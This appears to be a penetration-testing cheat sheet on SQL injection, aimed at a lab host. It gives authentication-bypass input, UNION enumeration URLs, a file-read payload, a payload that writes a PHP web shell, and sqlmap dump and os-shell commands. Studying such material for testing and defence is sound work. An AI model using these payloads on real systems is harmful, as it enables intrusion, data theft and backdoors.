An SQL injection vulnerability is caused by substituting user input into an SQL query without sanitization, which causes the SQL server to misinterpret special characters in the user input, allowing the attacker to manipulate the query. To remediate, use vendor-specific sanitization methods for sanitized substitution, like prepared statements and parametrized queries.

Discovery

  • Try to see if page shows database errors by injecting / inputting special characters like ' or " or ;--. The error message might contain database type, version, rest of the query, etc.
  • Use fuzzing tools to check for vulnerable inputs and parameters.
  • Worst comes to worst, try to see if the page is vulnerable to timing attacks by using sleep(5)
  • Consider using sqlmap.

Authentication Bypass

Achieve authentication bypass by adding a tautological part to the query, like this:

User input:

  • Username: tom' or 1=1;#
    • alternatively replace # with --, since some DBMS may not recognize # as a comment
    • if the server-side script only accepts one row, add LIMIT 1 to the username
  • Password: jones

Resulting query:

SELECT * FROM users WHERE username = 'tom' or 1=1;#' and password = 'jones';

Database Enumeration

Database enumeration is the process of acquiring information about the database and its tables, e.g. table / column names, table data, etc. Of course, an existing SQLi vulnerability is required. Burp Suite Repeater can be useful in the to modify requests.

Column Number

Enumerate the number of columns using order by N where N represents the N-th column. Start from 1 and gradually increment. If the query with N results in an error, then the table must have N - 1 columns.

Understanding Layout

If the webpage with SQLi directly displays data from a table, using a UNION can help illuminate which columns are being displayed and where. A UNION query allows a second SELECT statement, but they must have the same number of columns (otherwise SQL will throw an error). For example:

http://10.11.0.22/debug.php?id=1 union all select 1, 2, 3

Since column 1 isn’t displayed, we can just leave it there. Column 2 (name) has little space, so we can use column 3 (comment) for displaying enumeration output in future payloads.

Extract Data

After Understanding Layout, it’s possible to extract data with SQLi. Use UNION ALL SELECT to extract data from other tables. Examples below:

http://10.11.0.22/debug.php?id=1 union all select 1, 2, @@version -- MariaDB only

http://10.11.0.22/debug.php?id=1 union all select 1, 2, user()

http://10.11.0.22/debug.php?id=1 union all select 1, 2, table_name from information_schema.tables

http://10.11.0.22/debug.php?id=1 union all select 1, 2, column_name from information_schema.columns where table_name='users'

Code Injection & RCE

A SQLi can easily result in remote code execution.

File download:

http://10.11.0.22/debug.php?id=1 union all select 1, 2, load_file('C:/Windows/System32/drivers/etc/hosts')

File upload / backdooring:

  • Try to create errors; sometimes error outputs reveal valid paths to write backdoors.
http://10.11.0.22/debug.php?id=1 union all select 1, 2, "<?php echo shell_exec($_GET['cmd']);?>" INTO OUTFILE 'backdoor.php'

Automated SQLi

Detection & Find Payloads

sqlmap -u http://10.11.0.22/debug.php?id=1 [-p "id"] [--dbms=mysql]

All query parameters will be tested in the order given by the URL.

  • In parameter: * specifies where to inject (can be used to give sqlmap an existing payload)
  • -p: known comma-separated vulnerable parameters (not required)
  • --skip=<param>: skip the given parameter for testing / injection
  • --dbms=<dbms>: known server database type/vendor
  • -T=<table>: dump specific table

Dump Database

sqlmap -u http://10.11.0.22/debug.php?id=1 --dump 

Get Shell

sqlmap -u http://10.11.0.22/debug.php?id=1 --os-shell